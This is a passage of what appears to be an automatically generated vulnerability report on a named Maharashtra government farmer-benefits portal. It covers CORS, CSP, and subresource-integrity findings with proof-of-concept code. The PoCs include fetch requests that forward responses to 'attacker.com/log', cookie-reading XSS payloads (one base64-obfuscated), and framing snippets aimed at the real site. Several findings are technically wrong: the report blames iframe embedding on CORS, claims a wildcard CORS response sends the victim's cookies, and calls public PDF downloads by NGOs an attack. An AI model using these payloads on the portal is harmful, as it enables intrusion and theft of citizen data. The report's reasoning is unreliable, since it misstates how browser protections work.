targets.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus / https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus |\n\n**Description**\n\nThis endpoint tracks application statuses, likely displaying sensitive information about individual cases. Permissive CORS settings allow third-party domains to access this data directly, bypassing intended access controls.\n\n**Attack Scenario (Proof of Concept)**\n\nRemote site executes:\n```javascript\nfetch('https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus?appId=XYZ')\n  .then(r => r.text())\n  .then(t => {\n    // Forward to attacker backend\n    navigator.sendBeacon('https://attacker.com/log', t);\n  });\n```\n\nPermissive CORS enables this unauthorized access.\n\n**Business Impact**\n\nExposure of application tracking data violates user privacy and can be leveraged for surveillance, harassment, or competitive advantage. It also breaches compliance requirements governing personal data handling.\n\n---\n\n### CSP: Failure to Define Directive with No Fallback / https://mahadbt.maharashtra.gov.in/Farmer/Login/CreateLotteryPDF?lotteryCycle=%22%20+%20data%5Ba%5D.lotteryCycle%20+%20%22 / https://mahadbt.maharashtra.gov.in/Farmer/Login/CreateLotteryPDF?lotteryCycle=%22%20+%20data%5Ba%5D.lotteryCycle%20+%20%22\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/CreateLotteryPDF?lotteryCycle=%22%20+%20data%5Ba%5D.lotteryCycle%20+%20%22 |\n\n**Description**  \nThe application's Content Security Policy (CSP) header does not define all required directives, particularly those without fallbacks. When a directive like `default-src` or `script-src` is omitted and there is no fallback mechanism, the browser defaults to allowing all content sources for that category. This significantly weakens the policy’s ability to prevent cross-site scripting (XSS) and other code injection attacks.\n\nThis vulnerability arises when developers implement partial CSP policies, assuming that unspecified directives will inherit stricter rules from others. However, in practice, omission leads to permissive behavior—effectively disabling protection for unlisted resource types.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker identifies that the CSP lacks explicit definitions for `object-src`, `base-uri`, or similar directives. They craft a payload leveraging these gaps:\n\n```html\n<object data=\"http://malicious.example.com/exploit.swf\"></object>\n```\n\nIf `object-src` isn't defined, this malicious Flash object can execute arbitrary logic within the context of the vulnerable domain. Similarly, if `base-uri` is missing, attackers might inject `<base href=\"http://evil.com/\">` into the DOM to redirect form submissions or script imports.\n\nIn real-world exploitation:\n1. Attacker injects a reflected XSS via query parameters or user input fields.\n2. Browser executes inline scripts because `script-src 'unsafe-inline'` is present.\n3. Malicious embedded resources bypass restrictions due to undefined CSP directives.\n\n**Business Impact**  \nThis misconfiguration increases the risk surface for XSS-based attacks, potentially leading to session hijacking, phishing overlays, or unauthorized actions performed on behalf of authenticated users. It undermines trust in the platform's security posture and may expose sensitive personal or financial information handled by the portal.\n\n---\n\n### CSP: script-src unsafe-inline / https://mahadbt.maharashtra.gov.in/Farmer/Login/CreateLotteryPDF?lotteryCycle=%22%20+%20data%5Ba%5D.lotteryCycle%20+%20%22 / https://mahadbt.maharashtra.gov.in/Farmer/Login/CreateLotteryPDF?lotteryCycle=%22%20+%20data%5Ba%5D.lotteryCycle%20+%20%22\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/CreateLotteryPDF?lotteryCycle=%22%20+%20data%5Ba%5D.lotteryCycle%20+%20%22 |\n\n**Description**  \nThe presence of `'unsafe-inline'` in the `script-src` directive of the CSP header allows execution of inline JavaScript code. This includes event handlers (`onclick=...`) and `<script>` tags directly embedded in HTML documents. Inline scripts cannot be distinguished from malicious ones injected during an XSS attack, making this configuration highly insecure.\n\nInline JavaScript usage often stems from legacy frameworks or quick fixes but poses significant risks unless mitigated using nonces or hashes.\n\n**Attack Scenario (Proof of Concept)**  \nSuppose an attacker discovers a reflected XSS vector at `/Farmer/Login/CreateLotteryPDF`. With `'unsafe-inline'` enabled, they exploit it as follows:\n\n```http\nGET /Farmer/Login/CreateLotteryPDF?lotteryCycle=\"><img src=x onerror=alert(document.cookie)>\n```\n\nSince the CSP permits inline execution, the browser runs the injected JavaScript, stealing cookies or performing unwanted actions under the victim's credentials.\n\nAlternatively, stored XSS in dynamic content areas would also succeed due to lack of strict enforcement against inline scripts.\n\n**Business Impact**  \nEnabling `'unsafe-inline'` dramatically increases susceptibility to XSS attacks. Attackers can steal authentication tokens, manipulate UI elements, or exfiltrate private data. Given the nature of government services hosted here, such breaches could lead to identity theft, fraud, or compromise of citizen records.\n\n---\n\n### CSP: Failure to Define Directive with No Fallback / https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage / https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage |\n\n**Description**  \nSimilar to previous findings, the error page omits critical CSP directives such as `frame-ancestors`, `form-action`, or `connect-src`. Without specifying these, browsers default to permissive behaviors, undermining intended protections.\n\nFor instance, omitting `frame-ancestors` enables clickjacking attacks; leaving out `connect-src` allows unrestricted AJAX requests to external domains.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker embeds the error page inside an iframe on their own domain:\n\n```html\n<iframe src=\"https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage\" width=\"100%\" height=\"100%\"></iframe>\n```\n\nBecause `frame-ancestors` is undefined, the page loads successfully. Combined with social engineering tactics, this setup facilitates credential harvesting or misleading interactions disguised as legitimate system errors.\n\n**Business Impact**  \nSuch vulnerabilities erode confidence in the integrity of error handling mechanisms and increase exposure to UI redressing techniques. In worst-case scenarios, attackers might trick users into revealing confidential information or executing unintended actions while believing they're interacting with official pages.\n\n---\n\n### CSP: script-src unsafe-inline / https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage / https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage |\n\n**Description**  \nThe error page uses `'unsafe-inline'` in its `script-src` directive, permitting execution of inline JavaScript. This exposes the page to potential XSS exploitation even though it serves primarily informational purposes.\n\nError pages sometimes contain dynamic content derived from URL parameters or server-side variables, increasing the likelihood of injection points being overlooked.\n\n**Attack Scenario (Proof of Concept)**  \nConsider a crafted URL triggering an error response containing unsanitized user input:\n\n```http\nGET /Farmer/Error/ErrorPage?message=<script>alert(1)</script>\n```\n\nWith `'unsafe-inline'` active, the script executes upon rendering. An attacker could escalate this to cookie theft or redirection to malicious sites mimicking the original interface.\n\n**Business Impact**  \nAllowing inline scripts on error pages introduces unnecessary risks. Users encountering manipulated error messages might unknowingly interact with malicious code, compromising both privacy and operational continuity.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/PDF/GopinathMundeSchemeGR.pdf / https://mahadbt.maharashtra.gov.in/Farmer/PDF/GopinathMundeSchemeGR.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/GopinathMundeSchemeGR.pdf |\n\n**Description**  \nImproper CORS headers are returned when accessing PDF assets. Specifically, the server responds with overly broad values like `Access-Control-Allow-Origin: *`, enabling any third-party origin to fetch and process the document programmatically.\n\nThis misconfiguration violates the principle of least privilege and opens avenues for data scraping or unauthorized embedding.\n\n**Attack Scenario (Proof of Concept)**  \nUsing JavaScript, an attacker creates a webpage that fetches the PDF:\n\n```javascript\nfetch('https://mahadbt.maharashtra.gov.in/Farmer/PDF/GopinathMundeSchemeGR.pdf')\n  .then(response => response.blob())\n  .then(blob => {\n    const url = URL.createObjectURL(blob);\n    window.open(url); // Opens PDF in new tab\n  });\n```\n\nBecause CORS allows unrestricted access, the file downloads seamlessly across origins, facilitating unauthorized redistribution or analysis.\n\n**Business Impact**  \nUncontrolled access to sensitive documents compromises confidentiality and intellectual property rights. Additionally, automated scraping tools can harvest large volumes of data, leading to misuse or competitive disadvantage.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/Login/CreateLotteryPDF?lotteryCycle=%22%20+%20data%5Ba%5D.lotteryCycle%20+%20%22 / https://mahadbt.maharashtra.gov.in/Farmer/Login/CreateLotteryPDF?lotteryCycle=%22%20+%20data%5Ba%5D.lotteryCycle%20+%20%22\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/CreateLotteryPDF?lotteryCycle=%22%20+%20data%5Ba%5D.lotteryCycle%20+%20%22 |\n\n**Description**  \nThe endpoint returns permissive CORS headers, allowing cross-origin requests from any domain. This exposes functionality meant for internal use to external actors, increasing the attack surface unnecessarily.\n\nEndpoints generating lottery-related PDFs likely involve structured data flows which, if intercepted, could reveal scheduling patterns or participant lists.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker writes a simple script to enumerate valid lottery cycles:\n\n```bash\nfor i in {1..10}; do\n  curl -H \"Origin: http://attacker.com\" \\\n       -I \"https://mahadbt.maharashtra.gov.in/Farmer/Login/CreateLotteryPDF?lotteryCycle=$i\"\ndone\n```\n\nEach successful request retrieves a PDF accessible externally, indicating valid cycle identifiers. Further automation could scrape entire datasets.\n\n**Business Impact**  \nExposing backend-generated reports externally invites abuse ranging from reconnaissance to full-scale data harvesting. Sensitive administrative processes become visible to adversaries, weakening overall system resilience.\n\n---\n\n### Sub Resource Integrity Attribute Missing / https://mahadbt.maharashtra.gov.in/Farmer/Login/FCFSNonAadhaarProfileList / https://mahadbt.maharashtra.gov.in/Farmer/Login/FCFSNonAadhaarProfileList\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/FCFSNonAadhaarProfileList |\n\n**Description**  \nExternal JavaScript or stylesheet references on this page lack the `integrity` attribute. This omission means that if the CDN hosting these resources becomes compromised, attackers can inject malicious code undetected.\n\nSRI ensures that only pre-approved versions of external libraries are loaded by verifying cryptographic checksums before execution.\n\n**Attack Scenario (Proof of Concept)**  \nAssume jQuery is loaded from a public CDN without SRI:\n\n```html\n<script src=\"https://code.jquery.com/jquery-3.6.0.min.js\"></script>\n```\n\nIf the CDN gets hacked and the library replaced with a backdoored version, visitors automatically download and run the modified script. Since no integrity check occurs, the browser treats it as authentic.\n\n**Business Impact**  \nWithout SRI, reliance on third-party CDNs introduces supply chain risks. Compromised dependencies can lead to widespread client-side exploitation, including keylogging, session theft, or manipulation of displayed data.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/scripts/htmltopdf.js / https://mahadbt.maharashtra.gov.in/Farmer/scripts/htmltopdf.js\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/scripts/htmltopdf.js |\n\n**Description**  \nThe static JavaScript asset `htmltopdf.js` is served with permissive CORS headers. This allows external websites to import and utilize the script, potentially enabling unauthorized generation of PDF outputs based on arbitrary inputs.\n\nSuch exposure can facilitate abuse of server-side rendering capabilities indirectly.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker embeds the script in their own site:\n\n```html\n<script src=\"https://mahadbt.maharashtra.gov.in/Farmer/scripts/htmltopdf.js\"></script>\n<script>\n  htmlToPdf.generate({ content: \"<h1>Malicious Report</h1>\" }, function(pdf) {\n    pdf.save(\"malicious-report.pdf\");\n  });\n</script>\n```\n\nThough direct impact depends on implementation details, this demonstrates how exposed utility functions can be weaponized outside intended contexts.\n\n**Business Impact**  \nPermitting unrestricted access to functional scripts increases the risk of misuse in phishing campaigns or forged documentation. Moreover, it reflects poor control over shared resources, inviting scrutiny regarding broader architectural hygiene.\n\n---\n\n### Sub Resource Integrity Attribute Missing / https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus / https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Login/TrackApplicationStatus |\n\n**Description**  \nThis tracking page includes external scripts without applying Subresource Integrity (SRI). As a result, tampering with upstream libraries can introduce vulnerabilities silently.\n\nTracking interfaces often handle personally identifiable information (PII), making integrity assurance crucial for maintaining user trust.\n\n**Attack Scenario (Proof of Concept)**  \nA referenced Bootstrap bundle is loaded without SRI:\n\n```html\n<link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css\">\n```\n\nShould the CDN serve a modified version, visual spoofing or behavioral changes could occur unnoticed. For example, altered stylesheets might hide warning banners or alter button labels to mislead users.\n\n**Business Impact**  \nMissing SRI undermines front-end reliability and exposes end-users to subtle manipulations. Especially concerning in applications dealing with sensitive data, where visual fidelity equates to perceived authenticity.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage / https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage |\n\n**Description**  \nAs previously noted, the error page exposes itself via permissive CORS settings. While seemingly benign, this widens the scope for embedding or scraping activities targeting diagnostic responses.\n\nError pages occasionally include stack traces or contextual metadata useful for reconnaissance.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker constructs a hidden iframe pointing to various endpoints known to trigger errors:\n\n```html\n<iframe style=\"display:none;\" src=\"https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage?debug=true\"></iframe>\n```\n\nBy monitoring network traffic or inspecting rendered output, they gather insights about internal structures or debugging features inadvertently exposed.\n\n**Business Impact**  \nLoose CORS policies around error handling reduce obscurity layers essential for defense-in-depth strategies. Information leakage through diagnostics can aid more sophisticated follow-up attacks.\n\n---\n\n### Sub Resource Integrity Attribute Missing / https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage / https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/Error/ErrorPage |\n\n**Description**  \nDespite serving primarily static content, the error page incorporates external dependencies without enforcing integrity checks. This leaves open possibilities for silent script replacements affecting usability or introducing covert behaviors.\n\nEven basic error displays benefit from robust dependency validation practices.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker modifies a CDN-hosted analytics snippet included on the error page:\n\n```html\n<script async src=\"https://www.googletagmanager.com/gtag/js?id=G-XXXXXXXXXX\"></script>\n```\n\nIf the CDN is breached and the script altered, every visitor viewing the error page unknowingly executes the updated tracker, possibly collecting additional telemetry or redirecting elsewhere.\n\n**Business Impact**  \nNeglecting SRI diminishes assurance levels associated with third-party integrations. Any compromise upstream propagates downstream unchecked, threatening brand reputation and user safety.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Grievance/collegelist / https://mahadbt.maharashtra.gov.in/Grievance/collegelist\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Grievance/collegelist |\n\n**Description**  \nThe grievance module returns permissive CORS headers for college listing APIs. This allows unauthorized clients to query institutional data programmatically, bypassing intended access controls.\n\nGrievance portals typically aggregate sensitive contact or administrative details requiring careful dissemination management.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker issues a cross-origin request to extract college listings:\n\n```javascript\nfetch('https://mahadbt.maharashtra.gov.in/Grievance/collegelist', {\n  method: 'GET',\n  headers: { 'Origin': 'http://malicious-site.com' }\n})\n.then(res => res.json())\n.then(data => console.log(data));\n```\n\nReturned data reveals structured lists usable for targeted spamming or impersonation attempts.\n\n**Business Impact**  \nUnrestricted API access enables bulk harvesting of institutional profiles, increasing spam volume and reducing effectiveness of anti-abuse measures. Publicly exposing such directories contravenes principles of responsible disclosure.\n\n---\n\n### CSP: Failure to Define Directive with No Fallback / https://mahadbt.maharashtra.gov.in/Farmer/ / https://mahadbt.maharashtra.gov.in/Farmer/\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/ |\n\n**Description**  \nThe homepage omits several key CSP directives, notably `frame-ancestors`, `form-action`, and `connect-src`. These omissions effectively nullify protections against framing, form submission hijacking, and unauthorized XHR/WebSocket connections respectively.\n\nA well-defined CSP should explicitly deny dangerous behaviors rather than rely on implicit defaults.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker embeds the homepage in an iframe designed to mimic login screens:\n\n```html\n<iframe src=\"https://mahadbt.maharashtra.gov.in/Farmer/\" width=\"100%\" height=\"800px\"></iframe>\n```\n\nDue to missing `frame-ancestors`, the page renders normally, allowing overlay attacks or credential capture through deceptive overlays.\n\n**Business Impact**  \nFailing to constrain framing and communication paths weakens defenses against UI redressing and man-in-the-middle manipulations. User confusion and subsequent credential theft remain plausible outcomes.\n\n---\n\n### CSP: Failure to Define Directive with No Fallback / https://mahadbt.maharashtra.gov.in/Farmer/home/flow / https://mahadbt.maharashtra.gov.in/Farmer/home/flow\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/home/flow |\n\n**Description**  \nThis flow diagram page neglects to specify complete CSP coverage. Absence of directives like `child-src`, `worker-src`, or `manifest-src` implies blanket allowance, negating granular control over nested browsing contexts or background workers.\n\nInteractive dashboards especially require tight CSP configurations to resist manipulation.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker injects a Web Worker script referencing remote code:\n\n```html\n<script>\n  const worker = new Worker('https://malicious.example.com/worker.js');\n</script>\n```\n\nIf `worker-src` remains undefined, the browser accepts the external reference, potentially executing hostile logic in parallel threads.\n\n**Business Impact**  \nUndefined CSP directives leave interactive components vulnerable to off-main-thread exploits. Such stealthy execution models complicate detection and remediation efforts.\n\n---\n\n### CSP: script-src unsafe-inline / https://mahadbt.maharashtra.gov.in/Farmer/ / https://mahadbt.maharashtra.gov.in/Farmer/\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/ |\n\n**Description**  \nThe main farmer portal employs `'unsafe-inline'` in its CSP `script-src` directive. This permits execution of inline scripts, including event attributes and `<script>` blocks, thereby invalidating much of the CSP’s protective value.\n\nModern best practices strongly discourage inline script usage except when accompanied by nonces or hashes.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker injects a reflected XSS payload via search bar or parameter:\n\n```http\nGET /Farmer/?search=<svg/onload=alert(document.domain)>\n```\n\nWith `'unsafe-inline'` permitted, the SVG element triggers script execution immediately, bypassing traditional sanitization filters.\n\n**Business Impact**  \nPermitting inline scripts exponentially raises XSS risk. Successful exploitation can lead to account takeover, fraudulent transactions, or persistent defacement—all detrimental to service availability and user trust.\n\n---\n\n### CSP: script-src unsafe-inline / https://mahadbt.maharashtra.gov.in/Farmer/home/flow / https://mahadbt.maharashtra.gov.in/Farmer/home/flow\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/home/flow |\n\n**Description**  \nLike the homepage, the flow visualization page allows inline script execution. This undermines the CSP framework entirely, since attackers can trivially inject executable code wherever HTML injection occurs.\n\nFlow diagrams often incorporate dynamic rendering logic, increasing chances of XSS vectors going unnoticed.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker crafts a malicious label passed through a filter:\n\n```http\nGET /Farmer/home/flow?label=<img src=x onerror=eval(atob('YWxlcnQoMSk='))>\n```\n\nThe decoded Base64 string evaluates to `alert(1)` and executes due to `'unsafe-inline'`.\n\n**Business Impact**  \nInline script allowances render CSP ineffective, exposing core functionalities to script injection threats. Visual dashboards relying heavily on dynamic updates face heightened exposure to manipulation.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/home/flow / https://mahadbt.maharashtra.gov.in/Farmer/home/flow\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/home/flow |\n\n**Description**  \nThe flow visualization endpoint returns overly permissive CORS headers. This allows third parties to embed or scrape the interactive chart data, potentially revealing workflow patterns or decision trees.\n\nData-rich visualizations merit controlled sharing to preserve strategic insights.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker embeds the flow chart in a competitor’s site:\n\n```html\n<iframe src=\"https://mahadbt.maharashtra.gov.in/Farmer/home/flow\"></iframe>\n```\n\nGiven permissive CORS, the frame loads successfully, providing insight into internal procedures or eligibility criteria.\n\n**Business Impact**  \nOverexposure of operational workflows reduces competitive advantage and invites reverse-engineering. Unauthorized reuse of proprietary visuals devalues branding investments.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/CitizenCharterPDF/Higher%20education.pdf / https://mahadbt.maharashtra.gov.in/CitizenCharterPDF/Higher%20education.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/CitizenCharterPDF/Higher%20education.pdf |\n\n**Description**  \nCitizen charter documents are accessible cross-domain, allowing unrestricted fetching by external entities. Though informative, these files may contain procedural timelines or accountability commitments valuable for adversarial planning.\n\nPublic sector transparency initiatives must balance openness with prudent access limitations.\n\n**Attack Scenario (Proof of Concept)**  \nAn activist organization scrapes all available charters using a script:\n\n```bash\ncurl -H \"Origin: http://research.org\" \\\n     -O https://mahadbt.maharashtra.gov.in/CitizenCharterPDF/Higher%20education.pdf\n```\n\nRepeated downloads compile comprehensive datasets for comparative studies or advocacy campaigns.\n\n**Business Impact**  \nWhile promoting transparency, excessive accessibility invites misuse. Competitors or critics may leverage detailed procedural knowledge to challenge performance metrics or highlight inconsistencies.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/ / https://mahadbt.maharashtra.gov.in/Farmer/\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/ |\n\n**Description**  \nThe primary landing page for farmers exposes itself via permissive CORS settings. This allows embedding or scraping of introductory material, potentially aiding phishing or misinformation campaigns.\n\nHomepages often serve as entry points for deeper navigation, so securing them is paramount.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker clones the homepage layout using an iframe:\n\n```html\n<iframe src=\"https://mahadbt.maharashtra.gov.in/Farmer/\" width=\"100%\" height=\"100%\"></iframe>\n```\n\nCombined with fake login forms or misleading banners, this setup deceives users into entering credentials on a spoofed interface.\n\n**Business Impact**  \nHomepage misconfigurations enable high-fidelity phishing replicas capable of deceiving unsuspecting users. Brand dilution and erosion of digital trust represent long-term consequences.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/PDF/PMRKVYRainfedAreaDevelopment.pdf / https://mahadbt.maharashtra.gov.in/Farmer/PDF/PMRKVYRainfedAreaDevelopment.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/PMRKVYRainfedAreaDevelopment.pdf |\n\n**Description**  \nPolicy documents related to agricultural development programs are accessible cross-origin. This allows unauthorized redistribution or repurposing of official guidelines, possibly distorting interpretations or creating false impressions.\n\nGovernment publications demand careful stewardship to maintain accuracy and authority.\n\n**Attack Scenario (Proof of Concept)**  \nAn NGO downloads and republishes the document on their blog:\n\n```bash\nwget --header=\"Origin: http://ngo.org\" \\\n     https://mahadbt.maharashtra.gov.in/Farmer/PDF/PMRKVYRainfedAreaDevelopment.pdf\n```\n\nContextual alterations or selective quoting may misrepresent program objectives or eligibility requirements.\n\n**Business Impact**  \nMisappropriation of authoritative documents damages credibility and fosters misinformation. Regulatory compliance challenges arise when stakeholders act on distorted representations of policy intent.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Benefit_PradhanMantriKrishiSinchayeeYojana_PerDropMoreCrop_Eng.pdf / https://mahadbt.maharashtra.gov.in/Farmer/PDF/Benefit_PradhanMantriKrishiSinchayeeYojana_PerDropMoreCrop_Eng.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahadbt.maharashtra.gov.in/Farmer/PDF/Benefit_PradhanMantriKrishiSinchayeeYojana_PerDropMoreCrop_Eng.pdf |\n\n**Description**\nThis vulnerability arises due to improper configuration of Cross-Origin Resource Sharing (CORS) policies on the web server hosting the PDF file. CORS allows servers to specify who can access their resources and under what conditions. When misconfigured, it may permit unauthorized domains to make requests to sensitive endpoints, potentially leading to data leakage or abuse.\n\nIn this case, the server might be returning permissive CORS headers like `Access-Control-Allow-Origin: *`, which enables any origin to read the resource. This is particularly risky if the endpoint contains or interacts with sensitive information.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker could exploit this by crafting a malicious webpage that makes XMLHttpRequests or fetch calls to the vulnerable URL:\n```html\n<script>\nfetch('https://mahadbt.maharashtra.gov.in/Farmer/PDF/Benefit_PradhanMantriKrishiSinchayeeYojana_PerDropMoreCrop_Eng.pdf')\n  .then(response => response.text())\n  .then(data => {\n    // Exfiltrate data to attacker's server\n    navigator.sendBeacon('https://attacker.com/log', data);\n  });\n</script>\n```\nIf the victim visits this page while authenticated or otherwise connected to the domain, the browser automatically sends cookies or credentials along with the request, depending on the CORS policy specifics.\n\n**Business Impact**\nImproper CORS settings increase exposure risk of static assets and dynamic content alike. It undermines trust boundaries between origins and may lead to unintended disclosure of documents containing personal or operational details about beneficiaries of government schemes. While direct exploitation may not always yield high-severity outcomes, repeated misuse across multiple endpoints could facilitate reconnaissance for deeper attacks.\n\n---\n\n### Cross-Domain Misconfiguration / https://mahadbt.maharashtra.gov.in/Farmer/PDF/NHM_Components_benefit_for_2019-20.pdf / https://mahadbt.maharashtra.gov.in/Farmer/PDF/NHM_Components_benefit_for_2019-20.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 